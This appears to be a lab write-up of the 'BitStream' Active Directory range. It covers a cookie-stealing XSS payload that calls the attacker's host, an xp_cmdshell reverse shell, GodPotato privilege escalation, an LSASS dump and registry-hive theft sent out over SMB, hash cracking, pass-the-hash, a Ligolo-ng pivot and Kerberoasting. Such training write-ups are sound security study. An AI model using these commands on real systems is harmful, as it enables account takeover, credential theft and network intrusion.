> For the complete documentation index, see [llms.txt](https://hackhunter-hacking.gitbook.io/hackhunter-hacking/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackhunter-hacking.gitbook.io/hackhunter-hacking/hack-smarter-labs/bitstream-active-directory-range.md).

# BitStream - Active Directory Range

Easy Rated Range - Hack Smarter Labs

## Objective

* BitStream is a cloud storage provider that hosts sensitive data for enterprise clients. They have segmented their internal Active Directory environment (bitstream.hsm) and requested a full penetration test of their environment. You have been provided with VPN access to their Active Directory environment.

## Network Layout

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F2xRRY8gAZm3YHpFCSTZy%2Fimage.png?alt=media&amp;token=d473444e-4087-437d-9268-72bf24b73cac" alt=""><figcaption></figcaption></figure>

## Initial Scan

### RustScan - Web Server

{% code overflow="wrap" expandable="true" %}

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:41:6b:aa:a1:3f:54:ba:de:3e:f7:2a:c7:ff:23:bd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD6+Le6eQ7wVfBlUr9EohI8WnILbtNamnLF3fhCQ/7NHOaCSGZWCw/2YUljRjXdFr6T9CC6inJ9MOPxUELpNK3w=
|   256 af:ea:bc:61:0e:b1:d9:f7:15:b5:0b:e9:f5:53:7d:bc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBETyysZBPTnU/DrAfN1FwJ5LTw0clO2S4GBX6d/oKKt
80/tcp open  http    syn-ack ttl 62 Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: BitStream Storage - Corporate Cloud Solutions
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 2.6.32 - 3.13 (96%), Android 10 - 12 (Linux 4.14 - 4.19) (96%), Linux 3.2 - 4.14 (96%), Linux 4.15 - 5.19 (96%), Linux 2.6.32 - 3.10 (96%), Linux 4.15 (96%), Linux 5.4 (95%), Linux 2.6.32 - 3.5 (93%), HP P2000 G3 NAS device (93%), Android 9 - 10 (Linux 4.9 - 4.14) (92%)
No exact OS matches for host (test conditions non-ideal).
```

{% endcode %}

## Initial Enumeration

### Web Server (80)

* We can see what is running on the webserver:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FMAlwM1BF3uGgHsF0EDIC%2Fimage.png?alt=media&amp;token=39ac3f7a-2c1c-414b-bd10-1b4aa81e2e46" alt=""><figcaption></figcaption></figure>

### SSH (22)

* We can see that SSH requires a publickey to gain access; no password:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fc7Oh7EPtvA1R44Ine30R%2Fimage.png?alt=media&amp;token=b970b31b-5953-4cd8-99c0-de7fe6e1a173" alt=""><figcaption></figcaption></figure>

## Gaining Access to Web Server

* Attempting to login via the login page was not something that seemed likely to produce successful results. However, looking at the get a quote page, we can see that we are allowed to input three different parameters. There is a lot that we could potentially do here to test for vulnerabilities.
* Reading both of these articles: <https://hackviser.com/tactics/pentesting/web/xss> and <https://hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html?highlight=cross%20site%20scripting#xss-cross-site-scripting>, I decided to test for a cross site scripting(XSS) vulnerability:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FdVVRlizcD28uM6YC86EO%2Fimage.png?alt=media&amp;token=ec967a95-a99a-4ef2-b910-43fbaf2f7bcd" alt=""><figcaption></figcaption></figure>

* To test for the XSS attack, I needed to determine which field I could possibly take advantage of. Through trial and error the 'Detailed Requirements' field is able to be used for this attack. I started by running this command from this article <https://hackviser.com/tactics/pentesting/web/xss> to see if I could steal a session cookie. I set up a python server and, once I ran this command, I received the following from the server:

{% code overflow="wrap" expandable="true" %}

```
<script>
fetch('http://<KaliIP>/steal?cookie='+document.cookie);
</script>
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FK8UscAX96Hl5CcN49Lmz%2Fimage.png?alt=media&amp;token=72bc075d-4470-4f42-985e-f8073d6da3b8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FOn0GxK0VQPk75VxFREpI%2Fimage.png?alt=media&amp;token=1a055a88-48c7-442d-ae8d-fdb62ccb22b9" alt=""><figcaption></figcaption></figure>

* It looks like we are able to receive a session token. Prior to doing anything, I am going to see if I can FUZZ for any directories to see what is available and we will see the following directories are available:

{% code overflow="wrap" expandable="true" %}

```
ffuf -u http://10.0.0.5/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt:FUZZ -t 60
```

{% endcode %}

* There are some directories available. 'Portal' might be useful:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FRBgaEIliEDex69rciT8f%2Fimage.png?alt=media&amp;token=147d18bb-ad2b-4329-919c-b4a218817182" alt=""><figcaption></figcaption></figure>

* I will now take the session cookie that we receive and go to DevTools -> Storage -> Cookies and input the session ID that we received. I will then gain access as the user 'joey':

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fo4z6jQTspuDWi1dGEqjc%2Fimage.png?alt=media&amp;token=f157e678-ba4b-43ad-8979-a77f3abb7864" alt=""><figcaption></figcaption></figure>

* We can gain access and view different messages within the inbox. It looks like we can simply change the number to view different messages(IDOR):

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FVHa09g0AaoppC2Vo5sTS%2Fimage.png?alt=media&amp;token=57c629ff-7083-46b8-a0fd-155f51638909" alt=""><figcaption></figcaption></figure>

* It looks like ticket number 27 has the sql\_svc username, password, and flag:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FRdI8rgtxdvyOlt4yRvSK%2Fimage.png?alt=media&amp;token=78307c2d-4e69-405b-b80e-58d2ac6e11e2" alt=""><figcaption></figcaption></figure>

## Initial Scan SQLServer

### RustScan

{% code overflow="wrap" expandable="true" %}

```
PORT     STATE SERVICE       REASON          VERSION
1433/tcp open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server  17.00.1000.00
|_ssl-date: 2026-06-02T21:45:55+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-06-02T19:58:47
| Not valid after:  2056-06-02T19:58:47
| MD5:     a411 a44c 8726 7837 60de 819c 5df6 19bc
| SHA-1:   5350 5d51 3f73 ccea ad29 5d53 4be4 8455 226b 4945
| SHA-256: fcf4 19a3 5d93 62d1 02ea 9e1d 4aa5 bba6 896a d088 b2e5 47a1 439d 6ba9 326b d1ab
| -----BEGIN CERTIFICATE-----
| MIIEADCCAmigAwIBAgIQEvvRWY5D1btL0Qd5r2Qo5TANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwNjAyMTk1ODQ3WhgPMjA1NjA2MDIxOTU4NDdaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAOsfcGze
| k+0TNc3WD5j6W1FRJ158rLCRPZ4IAS9m7OGwui+fjUQ/zg1hRYccKwHwKoZEDaZt
| wYfNToAkZZkivHWfUaTlZNDayKXR8AjKAfGkSGmRgBiyCKszxEt7SBduwVUckPtl
| I7M9BgvWF5OF9H+GmvoGg1b8hq8D4zNiVWsSw7BOq3K4AbdDeg/A1i+fUZadlEKp
| mMHxsOiAeP652dMxACeIp2zM32gDGiQp9e0MngS37aZB5yUbBkX4eDkfd4+N2qf5
| 57yVFUeL8upRKLfUMvbVKE1GqbWAjIQIwxFK/HcVQQilY25uaHBUt8HryXdnj3lf
| YpqM3aYM7NcdVcQxXImR5Zeo6ZD1MFfBD5dhl2SrqruATRRFGwZwvq7R+E8RYCJV
| FpjOmvM4S9XIGh/2++XUMBClYnPWORk45BCQIvzYT18iRYQsaB9rYcHmPkumJQ98
| woCKS54rA7EppyAWvQiZBA0YnyGUTgoqsesFHeexw8cMo8PGsfSnBTbOuQIDAQAB
| MA0GCSqGSIb3DQEBCwUAA4IBgQAbtcgy+T04+T0oY0Z1hka88IL6OhfzfuhMWAAP
| 9n/eCMQ7I2lBqh5zkGK6s4bb58scY2fQvea7raUNPG8GI1ablWOAH4gAokbEFFTq
| mpG3HfOHzpOzz7qIRSHhYzs5XWugBSt6aJ0pxnBbO/dtZ6LrOOvS51Ia2KbITK/G
| LFnFf7s+3SgzN8VdLaJVfoI7t0U71iS0M0XpsOwBnA0zHG21l6XYuZwjDgsrX2nR
| vmXUquAGKZYkchRBJKgBMp3OarRSx4QIThS8fFvpWsWH4LZDBtVRGaJ3hesDMHuv
| WCLkQJrNHzx9qzrNFz04DKCtcMgK1Qk1SUFC7Gu2az340zhTDpyzk0pdSbIMpJgy
| 0ihdIlul+N136VEPm4ha2IzM1Y/yEr4F+0Vy6jlc/um//oxAHGe80NBcM6Pzo/zf
| WuUIXUszAkEuuFpY1yUDnFMKpOjTCezAh5TosKRgnjU5KEBcfaSoZt7Jwy6x7rj7
| Nrq2scAEt2Hj6M6q44FraypoM3M=
|_-----END CERTIFICATE-----
| ms-sql-info: 
|   10.0.1.7:1433: 
|     Version: 
|       name: Microsoft SQL Server 
|       number: 17.00.1000.00
|       Product: Microsoft SQL Server 
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.0.1.7:1433: 
|     Target_Name: BITSTREAM
|     NetBIOS_Domain_Name: BITSTREAM
|     NetBIOS_Computer_Name: SQL
|     DNS_Domain_Name: bitstream.hsm
|     DNS_Computer_Name: SQL.bitstream.hsm
|     DNS_Tree_Name: bitstream.hsm
|_    Product_Version: 10.0.26100
3389/tcp open  ms-wbt-server syn-ack ttl 127
| ssl-cert: Subject: commonName=SQL.bitstream.hsm
| Issuer: commonName=SQL.bitstream.hsm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-25T20:17:46
| Not valid after:  2026-11-24T20:17:46
| MD5:     9f16 248e bb5e b479 1fc4 6da2 9017 e3a6
| SHA-1:   c1a3 385c 67b7 1bc5 c84b 294d 61c2 80f1 386c 41ff
| SHA-256: a756 5f39 e0ca 95b2 87ad 6ac8 c002 7ad0 95c8 eafa eb55 5168 8aeb a3c3 6edb 8bd8
```

{% endcode %}

* We can see the following ports open on the SQL host. We can attempt to use the user 'sql\_svc' creds on this host and gain access. It looks like we have the ability to enable xp\_cmdshell. I instantly check privs and see SeImpersonatePrivilege, which can allow us to impersonate and become the local administrator or SYSTEM on this host. We can attempt to use a Potato exploit:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F3KGjQvLhohZspUunvJSA%2Fimage.png?alt=media&amp;token=00a5112d-9731-4a51-be34-a4440ba1f0d8" alt=""><figcaption></figcaption></figure>

* Next, I will establish a more stable/functional shell using Penelope and running a base64 encoded command on the SQL Server:

{% code overflow="wrap" expandable="true" %}

```
EXEC xp_cmdshell 'cmd /c powershell -e <base64_command>';
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
└─$ penelope -p 1337
[+] Listening for reverse shells on 0.0.0.0:1337                                             
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] [New Reverse Shell] • SQL 10.0.1.7 Microsoft_Windows_Server_2025_Datacenter-x64-based_PC 👤 nt service\mssql$sqlexpress • Session ID <1>
[+] Added readline support...
[+] Interacting with session [1] • Readline • Menu key Ctrl-D ⇐
```

{% endcode %}

* Conducting enumeration, I can see that there is a user 'bob' in 'C:\Users' dir. My next course of action is to see if I can escalate privileges via a Potato attack using our SeImpersonatePrivilege, and possibly dump LSASS or grab the SAM and SYSTEM hives to see if we can gain additional credentials:

{% code overflow="wrap" expandable="true" %}

```
iwr http://<KaliIP>/GodPotato-NET4.exe -OutFile Potato.exe
```

{% endcode %}

* Running the exploit, we can see that we can escalate to the SYSTEM user:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FONtD6YsqoMMZurSPz0TG%2Fimage.png?alt=media&amp;token=ddc0575f-bcb4-4520-bedb-8c3b0fd5e2f4" alt=""><figcaption></figcaption></figure>

* I initially moved mimikatz over to the host, but thought that I would try a different approach. I went ahead and ran the following command, since I am the SYSTEM user, to get a dump of the LSASS process:

{% code overflow="wrap" expandable="true" %}

```
PS C:\Temp> ./Potato.exe -cmd "cmd /c rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 740 C:\Temp\lsass.dmp full"
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FJnd88GMrMB0Ml5V2vJJ9%2Fimage.png?alt=media&amp;token=5e82626d-c813-47eb-a0cf-36986e9ac0aa" alt=""><figcaption></figcaption></figure>

* Next, I will copy over the lsass.dmp file to my Kali host. I will first start up a smbserver on Kali:

{% code overflow="wrap" expandable="true" %}

```
impacket-smbserver share $(pwd) -smb2support -username hacker -password hacker
```

{% endcode %}

* Next, I will run the following commands from the SQL Server:

{% code overflow="wrap" expandable="true" %}

```
PS C:\Temp> ./Potato.exe -cmd "cmd /c net use \\<KaliIP>\share /user:hacker hacker"

PS C:\Temp> ./Potato.exe -cmd "cmd /c copy lsass.dmp \\<KaliIP>\share"
```

{% endcode %}

* Unfortunately, using pypykatz against the LSASS.dmp did not show any useful creds and the dump appeared incomplete. I went back and grabbed the SYSTEM, SECURITY, and SAM hives from the SQL Server using the following commands:

{% code overflow="wrap" expandable="true" %}

```
PS C:\Temp> ./Potato.exe -cmd "cmd /c reg save hklm\sam sam"

PS C:\Temp> ./Potato.exe -cmd "cmd /c reg save hklm\system system"

PS C:\Temp> ./Potato.exe -cmd "cmd /c reg save hklm\security security"
```

{% endcode %}

## DCC2 Research

* We gain access to the Administrator hash. We also gain access to a DCC2 hash. I have previously conducted research and testing on DCC2 cached hashes. I was able to find a DCC2 cached credential hash for the user 'bob'.
* Per this article [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials ](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials)"Domain credentials are cached on a local system so that domain members can logon to the machine even if the DC is down. It's worth noting that mscash hash is not passable - i.e PTH attacks will not work."
* While these hashes might not be passable, we can attempt to crack it, which we are able to do:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FsibYtX3uqd44CZ7w3RbZ%2Fimage.png?alt=media&amp;token=04d2e2fc-9608-4eae-a3a1-dac1995de959" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fm1BHEZwBBv5YHhboClEa%2Fimage.png?alt=media&amp;token=94c9006e-1e49-4dcf-95c1-478f8bbba951" alt=""><figcaption></figcaption></figure>

## Initial Scan - Share

{% code overflow="wrap" expandable="true" %}

```
PORT     STATE SERVICE       REASON          VERSION
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
445/tcp  open  microsoft-ds? syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127
| rdp-ntlm-info: 
|   Target_Name: BITSTREAM
|   NetBIOS_Domain_Name: BITSTREAM
|   NetBIOS_Computer_Name: SHARE
|   DNS_Domain_Name: bitstream.hsm
|   DNS_Computer_Name: SHARE.bitstream.hsm
|   DNS_Tree_Name: bitstream.hsm
|   Product_Version: 10.0.26100
|_  System_Time: 2026-06-03T15:29:27+00:00
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=SHARE.bitstream.hsm
| Issuer: commonName=SHARE.bitstream.hsm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-27T15:36:17
| Not valid after:  2026-11-26T15:36:17
| MD5:     e52d a9e3 628d 9385 b553 29b5 f3ab d4b1
| SHA-1:   bc70 2ac4 3358 880e 0fee 8061 4f36 5811 04a1 44d9
| SHA-256: a6c6 11fa 1786 72c1 e25c 6d86 121f 8f92 e272 d407 ffab 75b0 cebd e2d0 af61 41aa
```

{% endcode %}

## Ligolo-Ng Setup For Internal Pivot

* I am able to PtH for the administrator user that I previously gained access to and subsequently gain access via WinRM:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FPrSJd7nWiHKVDG9PSCRu%2Fimage.png?alt=media&amp;token=dfcdc984-af2e-4af5-a61a-60b4576db299" alt=""><figcaption></figcaption></figure>

* I will now copy the Ligolo-Ng Windows agent over to the host and then set up the Ligolo-Ng server in the following manner:

{% code overflow="wrap" expandable="true" %}

```
#Create a tuntap interface and bring up the interface on Kali host
sudo ip tuntap add user kali mode tun ligolo2
sudo ip link set ligolo2 up

#Start the ligolo-ng proxy server
sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601

#Check the ifconfig output and add subnets 
sudo ip route add 10.0.1.0/24 dev ligolo2
sudo ip route add 10.0.2.0/24 dev ligolo2

#Start the session
session 1

#Bring up the ligolo2 interface
start --tun ligolo2
```

{% endcode %}

* On the victim host, we can run the following command:

{% code overflow="wrap" expandable="true" %}

```
.\agent.exe -connect 192.168.211.2:11601 -ignore-cert
```

{% endcode %}

* Once we do that, we can run ping against the DC and see that we are able to communicate with it. We can also try user 'bob' creds to see if he can auth to the DC, which we see is successful:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FcV8LGeAhcE3urUqvKvPE%2Fimage.png?alt=media&amp;token=9c7e72fd-9381-47dc-a540-9e115e309cb8" alt=""><figcaption></figcaption></figure>

* Bob can also auth to the SHARE host:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FJemV2DOGxfOqMIpP2K0k%2Fimage.png?alt=media&amp;token=2e60d16b-b49d-451f-85da-7eaa418b6226" alt=""><figcaption></figcaption></figure>

## DC RustScan

* We can now run a RustScan against the DC since we can access this to get the following information:

{% code overflow="wrap" expandable="true" %}

```
PORT      STATE SERVICE       REASON         VERSION
53/tcp    open  domain        syn-ack ttl 64 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 64 Microsoft Windows Kerberos (server time: 2026-06-05 13:53:23Z)
135/tcp   open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
389/tcp   open  ldap          syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: bitstream.hsm, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 64
464/tcp   open  kpasswd5?     syn-ack ttl 64
593/tcp   open  ncacn_http    syn-ack ttl 64 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 64
3268/tcp  open  ldap          syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: bitstream.hsm, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 64
3389/tcp  open  ms-wbt-server syn-ack ttl 64
| rdp-ntlm-info: 
|   Target_Name: BITSTREAM
|   NetBIOS_Domain_Name: BITSTREAM
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: bitstream.hsm
|   DNS_Computer_Name: DC01.bitstream.hsm
|   DNS_Tree_Name: bitstream.hsm
|   Product_Version: 10.0.26100
|_  System_Time: 2026-06-05T13:54:15+00:00
| ssl-cert: Subject: commonName=DC01.bitstream.hsm
| Issuer: commonName=DC01.bitstream.hsm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-25T02:43:39
| Not valid after:  2026-11-24T02:43:39
| MD5:     f8e0 e8f3 cdc1 e6b0 a4e3 0787 a5d8 4f38
| SHA-1:   44e4 ff5a 1b3f ee5a fef5 aec8 4feb 1298 ccc7 0f6a
| SHA-256: 8bac 2787 17a9 f2a0 5333 8ef7 f311 56fc 76ff 90b8 1ac7 35ad 2586 2335 00c4 8a61
| -----BEGIN CERTIFICATE-----
| MIIC6DCCAdCgAwIBAgIQcXh4k46jDaFNY4j2fB4alTANBgkqhkiG9w0BAQsFADAd
| MRswGQYDVQQDExJEQzAxLmJpdHN0cmVhbS5oc20wHhcNMjYwNTI1MDI0MzM5WhcN
| MjYxMTI0MDI0MzM5WjAdMRswGQYDVQQDExJEQzAxLmJpdHN0cmVhbS5oc20wggEi
| MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC1FARgztg7V2cbFJyUPq9kfIc/
| pkJVirE6H9mav3GBgRYgvB+IUZ+Gm5E4jHKoSfykZV345MjGJhoiND3QDS9gWXBI
| LAmCFivd+OaWms25EEb5tPCV69gDqgyWLYTpXDwj5boHl5L/rW71Co2sezfphf/b
| OlDCc+iMaoQyUakvwKEgs2AiOG88uW7cZhlk0DQ684IRGhjcK/LrJ29/dD5j1HrE
| m20p9kCG5xXF7Cgqsr2QcxbMyNGpa/UMkoBK2C3W1ZD6b804Tv4P99259SCa4Wlp
| lZOtOH7+eCdsUPREK4vDex1+6qnTNbJ5Hc9eGxpdlIrwrjxM6JwDc0RUNNQJAgMB
| AAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG
| 9w0BAQsFAAOCAQEAr88DIHn/7YD3sqwiwrT/SoFUVo0ypqezpmescF/dJriENvmn
| Sutvy+QlIO+3eF/q/7u7Ehw71XD27Zck/tcGAk10d6gDmi/82Hl3VXEXN42hsVmD
| JhbVoM3nCYNCrS9RsN121yorp8yftkFFInqoqNLBtN2tff30SYreO3pe/jw7of2L
| iSt22t1PgoB9nNHNgUYy58o6ItHrSAk5nrc0M6bTGBQKaSayuVefbgJLZdumVenN
| jJ8qDuKlrIEK+6bnXrD0zs/VQjXMlTvp2bb/V6NW9hMm/UUJSo5SjGyo7hiC8Jpn
| 3lib+Mbqzmn/aT7dfax0r+cpxs7MjtJoO9Qb1A==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          syn-ack ttl 64 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 64 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
49671/tcp open  ncacn_http    syn-ack ttl 64 Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
49701/tcp open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
59025/tcp open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.98%I=7%D=6/5%Time=6A22D4D8%P=x86_64-pc-linux-gnu%r(Ter
SF:minalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\?\x08\0\x02\0
SF:\0\0");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=6/5%OT=53%CT=%CU=%PV=Y%G=N%TM=6A22D531%P=x86_64-pc-linux-gnu)
SEQ(SP=104%GCD=1%ISR=10A%TI=I%CI=I%II=RI%TS=A)
SEQ(SP=105%GCD=1%ISR=108%TI=I%CI=I%II=RI%TS=A)
OPS(O1=M5B4NNT11NW7%O2=M5B4NNT11NW7%O3=M5B4NNT11NW7%O4=M5B4NNT11NW7%O5=M5B4NNT11NW7%O6=M5B4NNT11)
WIN(W1=7200%W2=7200%W3=7200%W4=7200%W5=7200%W6=7200)
ECN(R=Y%DF=N%TG=40%W=7200%O=M5B4NW7%CC=N%Q=)
T1(R=Y%DF=N%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=Y%DF=N%TG=40%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)
T3(R=Y%DF=N%TG=40%W=7200%S=O%A=S+%F=AS%O=M5B4NNT11NW7%RD=0%Q=)
T4(R=Y%DF=N%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T6(R=Y%DF=N%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=N%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=N)
IE(R=Y%DFI=S%TG=40%CD=S)

Uptime guess: 45.646 days (since Mon Apr 20 18:24:01 2026)
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incrementing by 2
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-06-05T13:54:20
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 5869/tcp): CLEAN (Timeout)
|   Check 2 (port 14772/tcp): CLEAN (Timeout)
|   Check 3 (port 62543/udp): CLEAN (Timeout)
|   Check 4 (port 46719/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
```

{% endcode %}

* Ok, we can access the DC now and have the scan. This is good news as we can continue to enumerate. I can list out the users on the DC by running the following command:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fbse2VFIkwOljNwZEFM3O%2Fimage.png?alt=media&amp;token=d07efe95-8b64-4f55-a14e-b74b9d36e83f" alt=""><figcaption></figcaption></figure>

* Appears to be 11 local users on the DC01. We can take these a put these into a users file. We can then attempt to AS-REP Roast or Kerberoast to see if there are any users with "Do Not Require PreAuth' for AS-REP Roasting or any users with SPNs set. We can see that there is a user 'eddie' with an SPN set. We are able to get their RC4 hash, which we can attempt to crack:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FNxdOJv1ieerqEC3Ig5oB%2Fimage.png?alt=media&amp;token=d5dfc230-783b-4004-b06c-3ec637f1b470" alt=""><figcaption></figcaption></figure>

* We can crack it:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F52lxm0Z1NafGtfHP8CwL%2Fimage.png?alt=media&amp;token=5f20b1e5-048f-4e2b-87be-d8393304bd11" alt=""><figcaption></figcaption></figure>

* Now, we can pass these creds around the network again. It appears that eddie can RDP to the WKST host:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FKDeoCuei6CtHNFnQEO76%2Fimage.png?alt=media&amp;token=977b1b70-9e7c-48f6-8c93-1cbd257020f4" alt=""><figcaption></figcaption></figure>

